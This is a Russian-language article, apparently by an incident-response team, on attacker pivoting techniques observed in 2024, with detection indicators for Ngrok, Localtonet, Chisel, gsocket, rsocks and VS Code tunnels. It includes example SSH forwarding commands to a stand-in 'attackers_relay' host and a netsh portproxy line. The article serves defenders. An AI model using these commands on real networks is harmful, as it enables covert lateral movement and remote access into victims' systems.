Как стать автором
Обновить
143.49

Как пивотились в 2024 году

Уровень сложностиСредний
Время на прочтение14 мин
Количество просмотров820

Иметь «плоскую» сеть сегодня считается моветоном, почти в каждой инфраструктуре есть как минимум файрвол. Чтобы добраться до важных сегментов, злоумышленники прибегают к пивотингу — технике, позволяющей атакующему использовать скомпрометированное устройство в качестве опорной точки для проникновения в другие части сети. Опорная машина в таком случае выступает в роли шлюза. Такие шлюзы могут объединяться в цепочки, что позволяет злоумышленнику прокладывать маршрут до самых труднодоступных участков инфраструктуры. Основная цель этого этапа — обойти все помехи, которые препятствуют обмену данными между атакующим и целевым устройством.

Цели открыть Америку эта небольшая статья не несет. Мы подсветим актуальные методы пивотинга, используемые реальными злоумышленниками при атаках на российские организации, и приведем наиболее популярные подходы, с которыми встречались при расследовании инцидентов в 2024 году. Еще мы расскажем о наиболее интересных, «экзотических» способах пивотинга, которые встречались крайне редко или не встречались вообще.

Прежде чем перейти к инструментам и способам, напомним читателям, как все это работает.

Основные способы пивотинга

Проброс портов

Прямой проброс портов (port forwarding)

Смоделируем следующую ситуацию. В инфраструктуре есть две сети: 172.16.10.0/24 и 192.168.0.0/24. При этом сеть 172.16.10.0/24 изолирована: на роутере средствами ACL запрещены любые подключения к 172.16.10.0/24 из 192.168.0.0/24. Возникла необходимость обмена файлами. Для этого был развернут файловый сервер с двумя сетевыми интерфейсами (192.168.0.10 и 172.16.10.15), доступный из обеих сетей. Злоумышленник скомпрометировал хост 192.168.0.5 и в результате успешной фишинговой атаки развернул реверс-шелл на нем. Однако интересующие злоумышленника данные находятся в соседней сети, на АРМ 172.16.10.21. Что в таком случае делать киберпреступнику? Ответ прост: в качестве шлюза ему стоит использовать тот самый сервер, который «смотрит» в обе сети. Скомпрометировав этот сервер, злоумышленник пробрасывает на нем порты до целевого хоста и далее взаимодействует с сервером через эрзац-шлюз. Выглядит это так:

Пивотинг с прямым пробросом портов
Пивотинг с прямым пробросом портов

В таком случае соединение устанавливается напрямую от атакующего к опорному компьютеру. К преимуществам такого способа можно отнести скорость передачи данных и простоту реализации. Но есть у него и значительные недостатки:

  • Необходимость напрямую подключаться к опорному хосту. Это может быть сложно, если он находится в глубине сети. В нашем примере для доступа к целевому компьютеру злоумышленнику придется каждый раз подключаться через 192.168.0.5.

  • Невозможность работы через NAT или файрвол, если запрещены входящие подключения. Атакующему необходимо подключаться к опорному компьютеру с другого внутреннего устройства.

  • Зависимость от точки входа. Это следствие от предыдущих пунктов: вместе с доступом к точке входа (в нашем случае это 192.168.0.5) злоумышленник теряет и доступ ко всем целевым системам.

Обратный проброс портов (backconnect port forwarding)

Альтернативой прямому пробросу портов является обратный или удаленный проброс. При таком способе опорный компьютер сам инициирует соединение с хостом злоумышленника (backconnect). То есть в схеме появляется дополнительный внешний хост, созданный злоумышленником, к которому опорное устройство также может получить доступ.

Разовьем описанную выше ситуацию и представим, что злоумышленник уже добрался до опорного хоста 192.168.0.10 (172.16.10.15), но использовал не прямой проброс портов, а обратный — на собственный сервер через релей. В таком случае схема работы будет выглядеть так:

Пивотинг с обратным пробросом портов
Пивотинг с обратным пробросом портов

Затем через проброшенный порт злоумышленник подключается к опорному хосту и может взаимодействовать с ним через целевое устройство. Такой подход похож на использование реверс-шелла, но до сервера злоумышленника пробрасывается не командная оболочка, а только канал связи с конкретным портом.

Примечание

Злоумышленник может использовать обратный проброс портов сразу на собственный управляющий сервер. Однако такое встречается редко по следующим причинам:

  • Некоторые инструменты используют собственные релеи, которые предоставляют разработчики, из-за чего эти релеи невозможно или затруднительно изменить.

  • Злоумышленники стараются соблюдать OpSec и не «отсвечивать» собственным управляющим сервером при реальных атаках. На релеях, как правило, аудит полностью отключен, так что даже если сервер попадет в руки правоохранительным органам, они вряд ли смогут определить атакующего.

  • Во многих организациях существует геофильтр, запрещающий подключение к иностранным ресурсам, не входящим в белый список. В таком случае проще развернуть релей в хостинге той страны, в которой находится целевая организация.

Преимущества обратного проброса портов заключаются в том, что появляется возможность обходить NAT и сетевые СЗИ, блокирующие входящие подключения, отсутствует зависимость от точки входа и упрощается доступ до опорного компьютера. К недостаткам можно отнести возрастающую нагрузку на сеть, так как соединение с релеем должно быть всегда открытым. А также — необходимость в большинстве случаев приносить на опорный хост дополнительный инструментарий, ведь любое инвазивное воздействие на систему повышает риск обнаружения.

Туннелирование

Туннелирование — это инкапсуляция одного сетевого протокола в другой. Один из примеров этого метода — VPN, когда создается безопасный канал для обмена данными между удаленными узлами. Однако киберпреступники подходят к атакам с фантазией и адаптируют известные способы для своих нужд. Самые известные примеры — DNS- и ICMP-туннелирование.

При туннелировании схема работы будет аналогична переадресации портов обратного подключения. Различия станут видны, если мы спустимся на уровень пониже: от логической схемы взаимодействия до используемых протоколов. Так, при DNS-туннелировании в качестве релея будет выступать DNS-сервер, а передаваемые данные будут «вшиваться» в поддомены. Преимуществ у этого способа много:

  • Скрытность сетевой активности. При трафике исходных протоколов в другие обнаружить сетевой туннель бывает сложно, к тому же трафик может быть зашифрован.

  • Доступ к более низкоуровневым протоколам. При использовании сетевого туннеля атакующий может инкапсулировать протоколы уровня L3 или даже L2, если на опорной машине достаточно привилегий. Это открывает возможность проводить специфичные для этих протоколов атаки: ARP Spoofing, LLMNR Poisoning и т. д.

  • Возможность обходить блокировки конкретных протоколов. Даже в самой изолированной сети, как правило, есть набор нефильтруемых протоколов, например DNS. Инкапсулируя вредоносный трафик в них, атакующий обходит эти блокировки.

Недостатки у этого способа тоже есть: инвазивность инструментов на целевом устройстве, часто — необходимость дополнительных привилегий на опорном хосте и низкая скорость обмена данными.

Проксирование

Проксирование, как и проброс портов, может быть прямым и обратным (backconnect proxy). Во многом эти способы похожи. Отличие заключается в том, что в случае проксирования пробрасывается не конкретный порт, а сетевой доступ до всего пула адресов, доступных с опорного устройства. В этом и заключается главное преимущество проксирования перед обратным пробросом: атакующему не нужно подключаться к опорной машине, и он не ограничен одним проброшенным портом. К недостаткам можно отнести необходимость в большинстве случаев приносить на опорный хост инвазивные инструменты.

Основные инструменты для пивотинга

Пивотинг с использованием стандартных средств ОС

Тренд на использование инструментов LOTL (Living-On-The-Land) существует давно и связан с возросшим уровнем защиты в организациях. Рассмотрим самые популярные способы пивотинга, при которых используются стандартные средства ОС.

Проброс портов через SSH

Хрестоматийный способ пивотинга — это проброс портов через SSH. SSH может работать как в режиме socks-прокси, так и в режимах прямого и удаленного проброса портов. В режиме прокси запуск выглядит так:

$ ssh -D 1234 -N -f attacker@attackers_relay

После выполнения такой команды атакующий может использовать релей как прокси-сервер, слушающий порт 1234 и перенаправляющий трафик через опорную машину внутрь сети.

Удаленный проброс портов выглядит следующим образом:

$ ssh -R 1234:127.0.0.1:3389 -N -f attacker@attackers_relay

После выполнения этой команды атакующий может подключаться к хосту attackers_relay на порт 1234, а SSH сам пробросит это соединение до порта 3389 на опорной машине.

Прямой проброс выполняется так:

$ ssh -L 1234:target_host:3389 user@target_machine

После выполнения этой команды на опорном устройстве к нему можно подключиться на порт 1234, а SSH-клиент на опорном устройстве перенаправит трафик на целевой хост на порт 3389.

Все эти способы давно известны и достаточно хорошо детектируются. Однако они все еще популярны среди киберпреступников, так как использование неинвазивных инструментов, пусть и во вредоносных целях, вызывает гораздо меньше подозрений, чем сторонние решения.

Проброс портов через netsh

Существует возможность нативного проброса портов через Network Shell в Windows-системах:

C:\>netsh interface portproxy v4tov4 listenport=1234 connectport=3389 connectaddress=target_host

После этой команды подключение к порту 1234 опорного компьютера приведет к перенаправлению на порт 3389 целевого хоста. При правильно настроенном аудите событий и, тем более, при наличии на хосте EDR-решения этот способ становится практически бесполезным. Такую активность видно сразу, и ее невозможно замаскировать под легитимную. Способ давно и хорошо известен, однако, в силу легкости детектирования, широкого распространения не получил и в реальных инцидентах встречался редко. Примечательно, что при реагировании на легитимные атаки пентестеров этот способ, как и способы с SSH, встречались намного чаще.

Пивотинг с использованием инструментов двойного назначения

Злоумышленники нередко используют в атаках легитимные инструменты. Их разрабатывали для обычных пользователей, а не для киберпреступников. Однако если такие инструменты есть в инфраструктуре — это как минимум причина насторожиться и проверить легитимность их использования.

Расскажем о трех наиболее популярных инструментах, которые злоумышленники используют для пивотинга.

Ngrok

Ngrok стал едва ли не стандартным средством пивотинга в Windows-системах у многих злоумышленников, атакующих российские организации. Так, в атаках синдиката Comet / Shadow / Twelve он встречался почти в каждом инциденте, с которым столкнулась команда BI.ZONE DFIR.

Ngrok работает в режиме обратного проброса портов (remote port forwarding), и, как правило, используется для проброса порта 445 или 3389, но есть возможность пробрасывать любой TCP-, HTTP- или TLS-эндпоинт. Под эндпоинтом в терминологии документации Ngrok понимается сервис, обслуживающий указанный порт.

Детектировать Ngrok на конечных точках несложно. Есть три основных момента, которые выдают его активность:

  • Резолвы поддоменов ngrok.com. В документации представлена инструкция, как использовать кастомный домен в качестве релея, однако эта возможность доступна только при пробросе HTTP или TLS. Также вскрыть наличие Ngrok в инфраструктуре можно по обращениям к домену и поддоменам equinox.io. Ngrok обращается к этому ресурсу за обновлениями.

  • Создание службы с именем ngrok.

  • Специфичный паттерн IP-адреса при аутентификации на Windows-системах из-под Ngrok. При подключении, например по RDP, Windows логирует не 127.0.0.1, как ожидается, а специфичный паттерн адреса, характерный только для Ngrok — ::%16777216.

Кастомный агент может затруднить обнаружение Ngrok на конечной точке, так как утилита предоставляет собой набор библиотек на Go, Python, JS и Rust для создания таких агентов. Можно даже не создавать агент, а использовать, например SSH для проброса порта на релей Ngrok.

Localtonet

Этот инструмент пивотинга в Windows-системах стал вторым по популярности в 2024 году. Это кроссплатформенный инструмент, но использовался он преимущественно на Windows. Чаще всего Localtonet применяли группировки, занимающиеся вымогательством. Особенно часто его использовала группировка Dirty Wolf.

В отличие от Ngrok Localtonet предоставляет не только возможность remote port forwarding, но и режим работы в виде backconnect SOCKS-сервера и даже файлового сервера. Однако, как правило, режим файлового сервера не используется. Вектор применения почти аналогичен Ngrok: обычно это проброс портов 3389 и 445, но иногда и применение в виде SOCKS-прокси.

Детектировать использование Localtonet также несложно: его выдают обращения к поддоменам localtonet.com и localto.com, как и в случае с Ngrok. Есть возможность задать кастомное доменное имя для релея, но только для проброса http.

Chisel

Несмотря на то, что Chisel является практически швейцарским ножом в вопросе пивотинга, этот инструмент использовали намного реже, чем Ngrok или Localtonet. Вероятно, это связано с тем, что для работы с Chisel требуется развертывание дополнительных ресурсов (релея) в инфраструктуре злоумышленника, а опции использовать этот инструмент с настройками по умолчанию просто нет.

Chisel, как и Localtonet, умеет работать как в режиме проброса порта, так и в режиме SOCKS-прокси. Детектировать использование Chisel сложнее всего, так как для связи с собственным релеем используется websockets поверх https. К тому же релей создается самим злоумышленником и поэтому может быть абсолютно непредсказуем.

Пивотинг с использованием специальных инструментов

Собрали топ инструментов для пивотинга, которые изначально задумывались и распространялись в качестве тулинга для тестирования на проникновение. Если в вашей инфраструктуре есть эти инструменты — это серьезный повод напрячься.

Gsocket

Gsocket не всегда относят к инструментам для пивотинга, так как его можно назвать как средством для туннелирования, так и обычным RAT. Но учитывая его популярность, мы решили рассказать про него.
Здесь под термином gsocket понимается наиболее часто используемый инструмент gs-netcat из тулкита Global Socket Toolkit.

В 2024 году gsocket стал практически святым Граалем при пивотинге в *nix-сегментах инфраструктуры для большей части злоумышленников, занимающихся хактивизмом. Практически ни один инцидент, связанный с утечкой данных или другим околополитическим импактом, не обходился без этого инструмента. Это легко объясняется тем, что gsocket по своей простоте не сильно проигрывает кнопке «Взломать». При использовании конфигурации по умолчанию не требуется никакой дополнительной конфигурации или развертывания дополнительных ресурсов. Gsocket использует собственный набор релей-серверов, а инсталляция инструмента в систему заключается в запуске одного скрипта, который сам определит способы закрепления в системе и реализует их. К тому же при инсталляции gsocket в систему он выдаст ASCII-строку, являющуюся уникальным идентификатором. Его достаточно для подключения к системе. Еще одним примечательным свойством установочного скрипта является таймстомпинг: при запуске он изменяет временные метки установленных файлов.

Детектировать использование gsocket просто, особенно если у вас есть аудит конечных точек. Инсталляция через скрипт происходит шумно: при запуске скрипта от root создается и запускается systemd-юнит службы. В ином случае закрепление происходит через crontab, при этом сама отложенная задача выглядит громоздко и подозрительно. А также во всех случаях запуск gsocket прописывается в .bash_profile или .bash_login пользователя, от которого был запуск. Таймстомпинг также легко детектируется: для реализации этой техники используется способ изменения временной метки через touch -t STAMP, что само по себе достаточно шумно. К тому же не изменяет CHANGE-метку, отвечающую за изменение инода файла в файловой системе, а не самого файла.

Конечно, при любом грамотном использовании и изменении конфигурации инструмента, а также установочных скриптов, стандартные подходы к детектированию не подойдут. Однако это справедливо практически для любого инструмента. Во время расследований инцидентов в 2024 году мы не встречали измененных gsocket.

Rsocks

Под rsocks в этой статье мы понимаем множество похожих друг на друга решений: их на просторах GitHub десятки, если не сотни. Все они работают примерно одинаково — как SOCKS-прокси обратного соединения. Любопытно, что возможности rsocks реализованы в других инструментах, которые обладают даже большим набором опций. Например, C2-фреймворки или инструменты двойного назначения, вроде Chisel и Localtonet. Но злоумышленники все равно предпочитают отдельным реализациям backconnect SOCKS, потому что:

  • Инструмент, решающий только одну задачу, проще в использовании и развертывании, чем «комбайн».

  • Инструмент легко изменять под себя, что дает гибкость и позволяет обходить простые сигнатуры защитных решений.

Детектировать активность rsocks сложно, и часто детект зависит от конкретной реализации, способа развертывания и запуска. Однако при использовании средств проброса портов или проксирования подозрение должна вызывать возросшая сетевая активность отдельно взятого хоста и неестественность активности на других машинах в сети. Например, стоит провести проверку, если доменный администратор подключается к DC по RDP с какого-нибудь забытого всеми файлового сервера.

Экзотические способы пивотинга

Мы подобрали несколько наиболее необычных методов пивотинга. Пока они редко встречались в атаках на российские организации или не встречались вовсе. Но в будущем эти способы могут стать популярными, а значит, стоит узнать про них уже сейчас. 

Пивотинг через виртуальные машины

Способ заключается в том, чтобы использовать не реальные сетевые интерфейсы опорной машины, а интерфейсы виртуальных машин, через которые можно инкапсулировать трафик. Да-да, на опорное устройство нужно установить виртуальное. Метод использования виртуальных машин для закрепления хорошо описан в этой статье.

Особенность метода в том, что на опорный хост устанавливается реальная виртуальная машина, и все действия выполняются внутри нее. При этом в ней у атакующего есть максимальные права, в то время как на хосте таких прав может не быть. В случае если у атакующего на хосте нет административных прав, создается NAT-интерфейс, который может работать только на L4 и выше. Но внутри виртуальной машины злоумышленник волен настроить и использовать любой L3-туннель, в то время как гостевые интерфейсы будут обрабатываться хостом как L4-сокеты. То есть без административных прав атакующий получает L3-туннель, работающий поверх L4. А если есть административные права на хосте, с помощью сетевого моста злоумышленник может прокинуть себе L2-туннель, что открывает ему еще более широкие возможности.

Мы один раз встретились с этим методом на практике. Злоумышленник пробросил L2-туннель между опорным хостом и собственным управляющим сервером.

Преимуществ у этого метода достаточно много:

  • Атакующий может пробросить L3- или даже L2-туннель до опорной машины, что открывает ему широкие возможности для постэксплуатации.

  • Все действия атакующего происходят внутри виртуальной машины, куда не может дотянуться EDR или AV.

  • Сама по себе установка виртуальной машины на хост не вызывает подозрений. Вероятность, что SOC-специалист при анализе событий запуска виртуалки сразу подумает о попытке пивотинга, крайне мала.

Использование VS Code

Время от времени атакующие балуют нас творческим подходом к решению своих задач. Одним из таких креативных прорывов стало использование Visual Studio Code для пивотинга и удаленного управления устройством. Смысл метода заключается в использовании фичи VSCode Remote Tunnels. Основная ее функция — предоставить возможность работать с кодом на удаленном сервере. При этом для всех сетевых взаимодействий в качестве транспорта используются https и SSH. Рассмотрим детальнее, как злоумышленник может воспользоваться этим методом:

  1. На машине, через которую киберпреступник собирается пивотиться или удаленно и скрытно ей управлять, должен оказаться cli-интерфейс VSCode. Даже если его там нет, ничто не мешает принести на устройство portable-версию — это подписанный легитимный бинарный файл, который не вызовет подозрений у СЗИ.

  2. Через cli-интерфейс, предоставляемый бинарным файлом code.exe, активируется туннель. Команда на запуск выглядит следующим образом: code.exe tunnel.

  3. Доступ к VSCode (то есть доступ к системе) организуется через веб-панель, ссылку на которую code.exe предоставляет после запуска туннеля. При этом веб-панель расположена на домене vscode.dev, принадлежащему Microsoft. То есть в качестве релея используются сервера Microsoft! Более того, в документации на VSCode прямо указано, что для работы этого способа каких-либо изменений в NAT и файрволе не требуется.

  4. Самый сложный этап — получение доступа к веб-панели. Для этого атакующий должен авторизоваться в GitHub или Microsoft с учетной записью пользователя.

Пример получения удаленного доступа через VSCode Remote Tunnels (источник)
Пример получения удаленного доступа через VSCode Remote Tunnels (источник)

Nebula

Это инструмент для построения пиринговых оверлейных сетей. Казалось бы, какое отношение он может иметь к пивотингу. Как выяснил исследователь Caster в статье, вполне прямое. Кратко пересказать статью сложно, поэтому мы порекомендуем заинтересованному читателю ознакомиться с первоисточником. Здесь же ограничимся только упоминанием, что в «дикой природе» этот способ еще не встречался. Но как утверждает сам автор, инструмент вполне применим в реальных условиях, поэтому можно считать, что использование пиринговых сетей для пивотинга в ближайшее время может перерасти из экспериментальной плоскости в реальную.

Вывод

Мы рассмотрели наиболее популярные в 2024 году способы пивотинга, с которыми встретилась на практике наша команда реагирования на инциденты. Здесь представлены не все, с чем довелось столкнуться нам или нашим коллегам. Например, мы не затронули тему C2-фреймворков и использования привычных VPN-туннелей, а также не рассмотрели туннелеры, которые встречались не очень часто. Однако надеемся, что материал был вам интересен и будет полезен в будущем.

Теги:
Хабы:
+2
Комментарии0

Публикации

Информация

Сайт
bi.zone
Дата регистрации
Численность
501–1 000 человек
Местоположение
Россия